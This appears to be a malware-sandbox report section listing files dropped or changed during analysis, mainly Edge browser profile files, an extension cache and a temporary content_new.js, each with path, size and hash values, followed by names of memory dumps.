Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 11KB
SHA256 65a8807bd40b241a800b8e4bb7c69553d7a08a65b69974e896075ee4944b530f
MD5 2b0c4901623c122a7d8d75cc564d085d
SHA1 144b10d99096ef5ad7aae2b7c50869f9d86e69a3
SHA512 b8b07ab2d841c583fd7b8dab8d3d510940c8405b86dc9436fb482cc831539cfa13fbde360a798669eb37808ec22094e93fafaea6091f6f5278314928d15d498b
SSDEEP 192:sxRcRQCh/fbssSkUIZqvzoA8p9Q/g6+WNCeqfYnk3hOGhIgViaNJ:sxRcNh/fbssDU25S/56fhR7B
TLSH
T16D42D95A6E28A93B5CC7D21DBA557F53E6F92022A1D01E48E6FC8B1C14EB6CD220740F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 12KB
SHA256 e8af422a8ed18d1d2db2ef1aad4eb5ec1d9aa3463a1ea3034cdaad039d2a5e99
MD5 438e173a317ba73f4fb36a70229ee444
SHA1 3478793ca7440d68b361fed2020b8aeb8be614e0
SHA512 655cc0ca146fff55f672e9229c60d3a6f02f691deb7e52143f13b4020ab1f7d1eb097a169762c6fb1d108dad1dc0c99bcfb63ca1a6b838b0677cdf458d296b27
SSDEEP 192:sxRvRQCh/fbs7MkUIZqvzoA8p9Q/g6+WNCeqfYnkBhOGhIgDpiaNJ:sxRvNh/fbs7lU25S/56fhb75
TLSH
T17C42D85AAD28993B5CCBD21DBA557F53E6F96022A1D01E48A7FCCB1C14EB6CD221340F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 29KB
SHA256 df9b02f439a41981afef59c1710f32f43d332b9508a183abb72856d47b03c43d
MD5 91db9dd6900287cefc37a0536923429f
SHA1 124f8d702bd957531a87ba69c2834040b00ce66e
SHA512 52e5efed9bd7d2a112b07635db56ad2d9900e8a113bb0ff3e348960a393e9973f6e30e7e9a4ba09c2a05c949ab827876b8508ffd50bb425915e4e1e6e28cedf1
SSDEEP 768:wb8dG37pLuLfR6Wgouf6M8F1+UoAYDCx9Tuqh0VfUC9xbog/OVYhmu46/rohNpx9:wb8dGxEfR6Wgouf6Mu1jaThmV6sH9
TLSH
T11CD2DA7B744CCB7E4F800ADDEC19BE9F6DA802CB96D8C94047FE951C02C6BEA51160DA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

77587711-d512-4b0c-8112-20ac6f502eb5.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\77587711-d512-4b0c-8112-20ac6f502eb5.tmp
Size 22KB
SHA256 d988156066b7fd22de278fbc96759d2caea6552094ffeb2ddd9307806059c5e4
MD5 f768bcb451a187c18099961c484eef8b
SHA1 99472c2d1918ea56c632734bc5c8a89ae6d2551c
SHA512 a4d78de6bcc1e940c466c41c31ee100235b32fef4cb3e7815a9c62dfae1eb3e4588d2c9e8597152ad7754527643c59ea8b811277ac58e4134a3dbf1507fe97bf
SSDEEP 384:90JOk/FY7A42lagbkDtCkQ7wDThH/64+hkmbA6BQpGMgSVlkFIum1z4tfLTvq/ue:WJOk/FY7/2lagbCtCkQ7wDlH/h+umbAJ
TLSH
T131A2B81DC81C7E3257CA2F7D6A2F9DB276DA30CA7080459A7E8CC54DD31B0AD56862BC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 43KB
SHA256 f511300ea5a28b131d62ef4ba17bdeb1d8df89245614006a3dd1f5a6e9d71e59
MD5 822203cf763be96b5fdbe6452a43eddb
SHA1 87642797dc2984ac54f2aaa155ec5fdff0b29cec
SHA512 d83c2b60b21f30cc17e8064b831e229e5874c9e5163f3816eec023d76d8d31cf457f31cc0a7a37a4396353d6ce0777e5b1bfaa046da5c9b05b10465ab28bedf4
SSDEEP 768:IFQu3JwgpdlZQ5O0bI2Nzc4ReyIsPLb9MnA:ru3Mtc44bszb+nA
TLSH
T12D1328F698D78936E8AE5743A37D2D52ADFCD167B1985884B7C95E0CCC421BFC30A812
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 35KB
SHA256 4981a52dd3df07adb54919f43c323b7623f139d7c294fce2bee56331f9d102e4
MD5 69276f89528f981d930799c00396262d
SHA1 15ee927ec05e384799e548db0c03966f9f6a6d95
SHA512 0db84e45266bd2d8c1a40a3a0fe256d24c3677731afc227aafa7117550656ff101d89eefa138bac5b2b3e83de975d5a40b40b8edcb7f5e857da9b32b7440f536
SSDEEP 384:n8ZcI338NirUQ72od23JDZNfNoXOVSUUboXTUpUETRzcoXfK86sfxEZxxsIj4lBH:q33pdEDZIO0bIONzc4ReyIsPLb9MnA
TLSH
T1CFF2BE75AC28CD73ECEAA652B5473692BDF4613BC2D82E84E1DE9B0C090769D071B417
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 38KB
SHA256 3bd9aa5a01b5c618835789abe2d825ca60d21398521d59ff841b84cfa24efc9f
MD5 ab56623dbefc40eff42faed9c025fa62
SHA1 0129a360666a7758d63502da4d676164241150d5
SHA512 0cc440e1dc4b6c88545c9cc1e5d19ff0142b6f4486c4a39569b0901d5e4aae61ce0003378f59269d1fd5f4485c2c9646339edbb52da298eee7fca6c8ec588007
SSDEEP 768:6rv+4UNbds3heDZIO0bxNzc4ReyIsXqeVH1S5D:6bsbS3Jtc44bs6EH1Y
TLSH
T1A203CF36E8788937ACF69686F14776133EF8912BC2981E94C5DE6F0C4A4B1DD134B923
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 41KB
SHA256 fa30a234ea5be5ef1581ceaf8c54a53a9845d17a887286936babe1ab57ff6d82
MD5 364673180c221ffc74283b8ff52bec3a
SHA1 42d4ded61bb52147b7bcb2f2ebe283de198ed880
SHA512 0f34e61862fa74afe613dfdfd40bc932ce6d61a1cb3aded591c791425ddf98c5f27e20a0e55ed58cb1ffa11c9e39521098b8b143b51ee421c22a76c804a1937b
SSDEEP 768:Drv+4UNbds30dEDZIO0bIDNzc4ReyIsPLb9Mnw:DbsbS3Rtc44bszb+nw
TLSH
T18A13BE32EC28CE73ACEAA656B14B36937EF4216BC1C81E94D1DA5B0C494B5AD171B813
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 35KB
SHA256 b81bcc066172fe6f6ac2d3525e4a55cd361ac23e9df78c9a72639fbfa9eefb7d
MD5 e0dc8b910b9e8221724f09806993ecf9
SHA1 d88c6ea1a9c86e502ee8239573ee0267e116a3f3
SHA512 def8e7f6e88b73fc62290b8e3cfe9841b10fb4512d912bb1fd8f01cfa5fd3b3eae5a05e936d461eb06954b749f2b99b0a187de7b58acae2baba4aade663d0b9c
SSDEEP 384:nRZcI338NiGUQ72od23JDZNfNoXOVSUUboXTUpUETRzcoXfK86sfxEZxxsIj4lBH:533KdEDZIO0bIONzc4ReyIsPLb9MnA
TLSH
T13FF2BE75EC28CD73ECEAA652B54736927DF4613BC2D86E84D1DE9B0C090369D071B417
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 39KB
SHA256 b6f8f80ce87c5fecbce4d325a1d23173badf40ca99d7450fee17dbd44aa417d0
MD5 2e0a39f43e50e816906f5fd36d576bc9
SHA1 e45cbbafe604540c70c8bc60a4101c8a38c097a9
SHA512 cf7259e932cecf391e85aac83212cb155aeda95be930f1f840e7ace1fe9dc51e9c85e07df2c3e8e5718a806463f9ff784ac63e7fdcc9d8c9e400891b8a116db3
SSDEEP 768:/rv+4UNbds38qDZIO0bIuNzc4ReyIsPLeVH1S5s:/bsbS3Atc44bszEH1b
TLSH
T17603CE32A868CD33ACFAA646F14776937EF8616BC1881E94C5DA5F0C0A072DD175F923
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

299ff2b88f972402bfeaa0a772d457de7c8a5aa8498cacd924345cb79aac18ce

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\299ff2b88f972402bfeaa0a772d457de7c8a5aa8498cacd924345cb79aac18ce
Size 153KB
SHA256 299ff2b88f972402bfeaa0a772d457de7c8a5aa8498cacd924345cb79aac18ce
MD5 c4a20d073fe58488935da829aae6fa17
SHA1 dbd31aa3dcd1abd3d554d29a9bca83bab02709d5
SHA512 61f74480d3471180f14e2171be6f5e33ab0a03a7a4837334695556a9484da1a862cc059969834d4950a038ec97f192805e5e718cd2a280aba675bdc9cee5d976
SSDEEP 3072:C0qfZ9r+hy+exmKhRts8o7SYbyqNDri8EBalnQt9RaBoAkaX2Ns:C0qfZ9r5msvoOGi8QQQbRwxmNs
TLSH
T126F3E02D6EDEC956CC0F61F96F29724BC50A4F0B818B648B624E881958F434E17E29FD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\metadata.json
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\metadata.json
Size 132B
SHA256 ea13d57b11af249f90704dbcafd354c5e80b10358db7edb9eaf8f6fd597eb1d4
MD5 ae3a19c226264ff6cb64877f1e7e7243
SHA1 f993431dbd09200fd92b7a04ee6711a54ad95cc9
SHA512 97e5dbf0663585afbb5e0f2b5a36192624eb2c898462abef65225987df632d30f74f05ac5a71175c4c59f75d9ae6d2e640d168e479cb26b9a6857c71efda029a
TLSH
T1C1C02B85CB1E0C854E78153D48420B2727819F0030508534445A490C41741CE00888CF
MD5 SHA1 SHA512 TLSH

Submit Download

90f55a7b-02dc-4814-b186-aae9d0de4023.tmp

Path C:\Users\Admin\AppData\Local\Temp\90f55a7b-02dc-4814-b186-aae9d0de4023.tmp
Size 1B
SHA256 cdb4ee2aea69cc6a83331bbe96dc2caa9a299d21329efb0336fc02a82e1839a8
MD5 5058f1af8388633f609cadb75a75dc9d
SHA1 3a52ce780950d4d969792a2559cd519d7ee8c727
SHA512 0b61241d7c17bcbb1baee7094d14b7c451efecc7ffcbd92598a0f13d313cc9ebc2a07e61f007baf58fbf94ff9a8695bdd5cae7ce03bbf1e94e93613a00f25f21
MD5 SHA1 SHA512

Submit Download

content_new.js

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir5392_1065498521\CRX_INSTALL\content_new.js
Size 10KB
SHA256 d4aa4602a1590a4b8a1bce8b8d670264c9fb532adc97a72bc10c43343650385a
MD5 3de1e7d989c232fc1b58f4e32de15d64
SHA1 42b152ea7e7f31a964914f344543b8bf14b5f558
SHA512 177e5bdf3a1149b0229b6297baf7b122602f7bd753f96aa41ccf2d15b2bcf6af368a39bb20336ccce121645ec097f6bedb94666c74acb6174eb728fbfc43bc2a
SSDEEP 192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
TLSH
T1DB22B68DA5A8ED7C1AC0C952E50EA62E5D342531E6E7A30320874ED8015CFB9D519FFD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1708-611-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/1896-555-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/2408-500-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/2544-628-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/2568-425-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/2976-512-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/3212-646-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/3372-570-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/3448-650-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/3800-472-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/4144-624-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/4288-636-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/4896-525-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/5088-551-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/5672-654-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/5756-632-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/5888-574-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/5920-641-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/6044-599-0x0000000000010000-0x0000000000083000-memory.dmp

Download